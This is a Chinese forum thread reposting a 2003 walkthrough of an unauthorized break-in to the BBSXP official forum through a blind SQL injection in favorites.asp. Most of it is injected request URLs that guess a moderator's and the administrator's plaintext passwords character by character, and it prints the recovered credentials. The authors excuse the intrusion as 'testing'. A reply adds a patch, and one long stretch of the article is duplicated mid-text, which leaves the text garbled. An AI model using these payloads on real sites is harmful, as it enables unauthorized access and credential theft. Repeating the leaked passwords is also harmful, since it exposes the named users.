请先登录 | 注册 |
MYCSG.CN |
■标题:[公告]BBSXP3.01以下请马上修补利用SQL注入渗透BBSXP官方网站的台后管理的BUG |
■作者:y2khjh [2003/10/27 13:04:22] 利用最基本的SQL注入渗透BBSXP官方网站的台后管理 [red]漏洞的修补[/red] 发表时间:2003-10-25 10:29:34 点击 255 次 黑客基地www.HackBase.com 漏洞分析 序:有一部电影的名字叫着《全职脎手》,剧中的男主角托尔,我非常喜欢他的个性! 他非常的cool,i like!呵呵,不知道你看过这部电影没有? 不过,我今天要为大家讲解的故事发现在网络当中.这次是一次非常,常见的sql渗透攻击.也是最基础的. 过程如下:1.找出漏洞并分析漏洞. 2.利用漏洞,得到前台区长密码. 3.利用漏洞,得到后台密码. 4.添加公告,闪人! 开始工作: 到bbsxp官方网站下载最新的bbsxp。 第一步:找出漏洞,并分析漏洞.这个漏洞存在于用户添加收藏功能中 相应的asp文件:favorites.asp //伙藥伙藥伙藥伙藥伙藥伙藥*源代码伙藥伙藥伙藥伙藥伙藥伙藥伙藥伙藥伙藥伙藥伙藥伙藥***// <!-- #include file="setup.asp" --><% if request.cookies("username")="" then error("<li>您还还未<a href=login.asp>登陆</a>社区") end if select case request("menu") case "add" if request.servervariables("request_method")="post" then url=request("url") else url=request.servervariables("http_referer") end if conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")") error2("已经添加到网络收藏夹!") case "del" conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"") end select //伙藥伙藥伙藥伙藥伙藥伙藥***后面的无用代码略掉伙藥伙藥伙藥伙藥伙藥伙藥伙藥伙藥// 看到代码了,首先要注册使用本功能. 然后在这个asp文件中提交的参数有:menu,id就这两个值. 大家看看,当提交的menu=del的时候。哈哈!调用的是什么?就是它,它就有漏洞。漏洞在哪里? conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"") 提交的id值没有过滤直接加入到sql语句中了。 攻击演示 第二步,利用漏洞,得到前台管理员密码. 接到上面的来。我们测试一下这个漏洞是不是存在. 自己先添加一个收藏地址进去.得到收藏的id号(我们得到的是576)。 在ie中提交. http://bbs.yuzi.net/favorites.asp?menu=del&id=576 and 1=1 提交到sql中,实际上就是:conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1") 不用管那个request.cookies("username").他直接就等于你进来的用户名. 提交后,发现我们收藏的文件被del了。证明有这个漏洞,没有打上补丁。 现在我找到漏洞了,呵呵~!点支烟吧!!打开数据库查看数据库结构。 保存数据库的用户名字段为:username 密码字段为:userpass(注:密码是明码,没有经过任何加密) 我们现在就来得到一个区长的密码吧。在首页看到区长的名字有一个叫:kongweb的. 提交http://bbs.yuzi.net/favorites.asp?menu=del&;id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5) 呵呵,提交到sql中,又是什么呢? conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)") 对sql语句了解的战友们都知道,当where条件后面为真的情况下,才会执行这条语句! 执行这条语句的结果就是del一条自己的收藏地址,那么我们的 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)") 如果为真的话就del了id为576的收藏地址. 看一下。这条语句,当用户名是kongweb,当密码长度为5的时候,就有一条记录返回。 count(*)的意思就是返回满足条件的记录总数,刚好为1条。也就是说等式正立。 当然不成功,是不会del了收藏地址的。 最后我们改变长度值. 结果出来了当长度等于9的时候。del了收藏地址。 证明kongweb这个区长的密码为:9位. 好了,我们开工吧, 我们来破他的第一位密码。不过我们在先破密码的时候,要多加点收藏地址。 因为正确一个就会del一个收藏地址。 采用提交http://..../favorites.asp?menu=del&;id=567 and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a) 这里说一个mid函数的用法:mid(字符串,起始位置,长度) 这是一个取字符串中特定位置,特定长度的一个函数. 我们mid(userpass,1,1)=a表示取出密码的第一位看是不是a 注:一定要加上单引号不错会出错. 本来我打算用我写的破解程序的来直接破解的,不过我们连到他的bbs网站上特别的慢。也不知道为什么。 所以,程序半天都跑不出来。也就只有手工猜了. 第一位密码几分种后才猜出来。 当我们提交http://..../favorites.asp?menu=del&;id=588 and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的时候,我们del了,收藏地址id为588的记录. 在ie中没有看到那条记录了。证明成功了。好,现在换id值,取第二位. http://..../favorites.asp?menu=del&id=589 and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d) 就这样重复的提交和修改,最后得出密码是:kdjkdjkdj 这里来介绍一下简单的方法,可以用取字符asc码的办法缩小范围的。 http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))>100) 如果成立就del收藏.证明第一个字符的asc码大于100。 相反,你也可以这样测试:..asc(mid(userpass,1,1))<105 如果正确,那么这个字符的asc码就是:100-105之间了。最后确定,比如:当asc(mid(userpass,1,1))=103 如果del了收藏,就得到这个字符的asc码了。再用相应的工具转成e文母就ok了。[我写了有这样的程序,要的朋友请与我联系] 这里没有用这种方法,是因为这里要添加太多的收藏地址才行。因为用范围去比较的话,正立的机会很大,当成立就会del收藏的。所以我们还是一位一位的取吧。 添加收藏也慢得要死。 好了,看来第二步的任务已经完成了。我们得到了区长:kongweb 密码:kdjkdjkdj 第三步:得到后台管理密码; 看一下他的库结构,发现了clubconfig这个表中有一个字段叫:adminpassword是用来保存密码字段的.并且也是明密保存的. 我们要的就是他。我们就要取到这个字段的值. 这个库中一般都就只有一条记录。所以他的count(*) 也就只有一条. 再次利用我们第二步的漏洞.进行猜解. 一样的办法。得到后台密码长度为:9位. http://bbs.yuzi.net/favorites.asp?menu=del&id=590 and 1=(select count(*) from [clubconfig] where len(adminpassword)=9) 刚好正确。 想到了,刚才前台的密码也是9位。不会前台和后台的密码相同吧,测试一下。结果不正确。和前台的密码不一样。也只有慢慢的猜了。 猜第一位:http://bbs.yuzi.net/favorites.asp?menu=del&id=591 and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b) ok。第一位出来了。 http://bbs.yuzi.net/favorites.asp?menu=del&id=592 and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b) ok.第二位也出来了。前两位是bb. 呵呵,你的杜会工程学,学得怎么样啊??联想一下。我们想到了bbs呵呵,我们想到前三位可能是bbs试试吧! http://bbs.yuzi.net/favorites.asp?menu=del&id=593 and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s) 太对了。再发挥你的杜会工程学方面的功能。又想到了bbsxp因为他是的网站开发的产品嘛。一般人都是这样的。试试。 现在我们用left函数取前5位 说明一个函数:left(字符串,长度)就是从字符串第一位开始,取长度个值 http://bbs.yuzi.net/favorites.asp?menu=del&id=594 and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp) 又对了。呵呵,还有四位,想不出来了。我们又破到了两位. 前七位就是:bbsxpco还有两位了。想一下。co加两位什么好呢?呵呵,杜会工程学,学得没有别人好啊。 兄弟们都想了好久,最后想到了cool试试吧!!! 最了,最后居然对了。就是cool密码就是:bbsxpcool http://bbs.yuzi.net/favorites.asp?menu=del&id=598 and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool) 现在有前台的账号,和后台的密码。进去发布公告吧! 第四步:发布公告. 进入后台我们发布了记他注意脚本安全的公告,然后闪人! 结束句:前段时间测试动网官方论坛,也一样的有漏洞,今天测试bbsxp还有这么低级的错误,我们在这里先向我们入侵过的动网,以及bbsxp道歉! 我们并不是恶意的攻击,我们只是为了网络更加安全,测试了一下你们的论坛!希望你们以后会写得更好! 我们也一样会努力认真的再次对你们的论坛进行测试的。)>100) 如果成立就del收藏.证明第一个字符的asc码大于100。 相反,你也可以这样测试:..asc(mid(userpass,1,1))<105 如果正确,那么这个字符的asc码就是:100-105之间了。最后确定,比如:当asc(mid(userpass,1,1))=103 如果del了收藏,就得到这个字符的asc码了。再用相应的工具转成e文母就ok了。[我写了有这样的程序,要的朋友请与我联系] 这里没有用这种方法,是因为这里要添加太多的收藏地址才行。因为用范围去比较的话,正立的机会很大,当成立就会del收藏的。所以我们还是一位一位的取吧。 添加收藏也慢得要死。 好了,看来第二步的任务已经完成了。我们得到了区长:kongweb 密码:kdjkdjkdj 第三步:得到后台管理密码; 看一下他的库结构,发现了clubconfig这个表中有一个字段叫:adminpassword是用来保存密码字段的.并且也是明密保存的. 我们要的就是他。我们就要取到这个字段的值. 这个库中一般都就只有一条记录。所以他的count(*) 也就只有一条. 再次利用我们第二步的漏洞.进行猜解. 一样的办法。得到后台密码长度为:9位. http://bbs.yuzi.net/favorites.asp?menu=del&id=590 and 1=(select count(*) from [clubconfig] where len(adminpassword)=9) 刚好正确。 想到了,刚才前台的密码也是9位。不会前台和后台的密码相同吧,测试一下。结果不正确。和前台的密码不一样。也只有慢慢的猜了。 猜第一位:http://bbs.yuzi.net/favorites.asp?menu=del&id=591 and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b) ok。第一位出来了。 http://bbs.yuzi.net/favorites.asp?menu=del&id=592 and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b) ok.第二位也出来了。前两位是bb. 呵呵,你的杜会工程学,学得怎么样啊??联想一下。我们想到了bbs呵呵,我们想到前三位可能是bbs试试吧! http://bbs.yuzi.net/favorites.asp?menu=del&id=593 and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s) 太对了。再发挥你的杜会工程学方面的功能。又想到了bbsxp因为他是的网站开发的产品嘛。一般人都是这样的。试试。 现在我们用left函数取前5位 说明一个函数:left(字符串,长度)就是从字符串第一位开始,取长度个值 http://bbs.yuzi.net/favorites.asp?menu=del&id=594 and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp) 又对了。呵呵,还有四位,想不出来了。我们又破到了两位. 前七位就是:bbsxpco还有两位了。想一下。co加两位什么好呢?呵呵,杜会工程学,学得没有别人好啊。 兄弟们都想了好久,最后想到了cool试试吧!!! 最了,最后居然对了。就是cool密码就是:bbsxpcool http://bbs.yuzi.net/favorites.asp?menu=del&id=598 and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool) 现在有前台的账号,和后台的密码。进去发布公告吧! 第四步:发布公告. 进入后台我们发布了记他注意脚本安全的公告,然后闪人! 结束句:前段时间测试动网官方论坛,也一样的有漏洞,今天测试bbsxp还有这么低级的错误,我们在这里先向我们入侵过的动网,以及bbsxp道歉 【回复/版区/上篇/下篇/发贴/仅文字/HTML】 |
【倒序/最近21条回复】 |
■作者:依草雅子 [2003/11/19 16:08:51] |
感谢,是什么意思! |
■作者:xxy [2003/11/9 13:23:21] |
原文由 y2khjh 发表:利用最基本的SQL注入渗透BBSXP官方网站的台后管理 [red]漏洞的修补[/red] 呵呵。看不明白太复杂了。 修正那里俺就明白,嘿嘿 |
■作者:ruwang [2003/10/31 11:57:53] |
感谢ing |
■作者:y2khjh [2003/10/28 13:27:33] |
明年立马换个好点的服务器 |
■作者:IPSC [2003/10/28 13:21:39] |
唉,服务器不稳定,有时很快,有时特慢,气死人了 |
■作者:y2khjh [2003/10/27 18:24:40] |
哦,原来是你取消了啊,我还以为是我自己弄错的了,这几天你这里慢得要死,我老上不了. |
■作者:IPSC [2003/10/27 18:13:41] |
对了,原来总置顶的其它6个这方面的漏洞的贴子在“共同研究”版里,我取消总置顶了。 |
■作者:y2khjh [2003/10/27 13:44:20] |
大家去看总顶置的关于N个漏洞的修补方法,我有东西补充了 |
■作者:y2khjh [2003/10/27 13:16:35] |
[red]修正的方法!!!!!!!![/red] 有且只有一步:找出漏洞,并分析漏洞.这个漏洞存在于用户添加收藏功能中 相应的asp文件:favorites.asp //伙藥伙藥伙藥伙藥伙藥伙藥*源代码伙藥伙藥伙藥伙藥伙藥伙藥伙藥伙藥伙藥伙藥伙藥伙藥***// <!-- #include file="setup.asp" --><% if request.cookies("username")="" then error("<li>您还还未<a href=login.asp>登陆</a>社区") end if select case request("menu") case "add" if request.servervariables("request_method")="post" then url=request("url") else url=request.servervariables("http_referer") end if conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")") error2("已经添加到网络收藏夹!") case "del" conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"") end select //伙藥伙藥伙藥伙藥伙藥伙藥***后面的无用代码略掉伙藥伙藥伙藥伙藥伙藥伙藥伙藥伙藥// 找到下面这段代码:case "del" conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"") end select 改为 case "del" if isnumeric(Request("id"))=flase then error("<li>非法操作") end if conn.execute("delete from [favorites] where username='"&Request.Cookies("username")&"' and id="&Request("id")&"") 完成! |
(查看完整版网页) |
短讯|首页|登录|算法|电脑版 . DK MiniBBS Plus v2.0 mm0759.com 328 毫秒 . |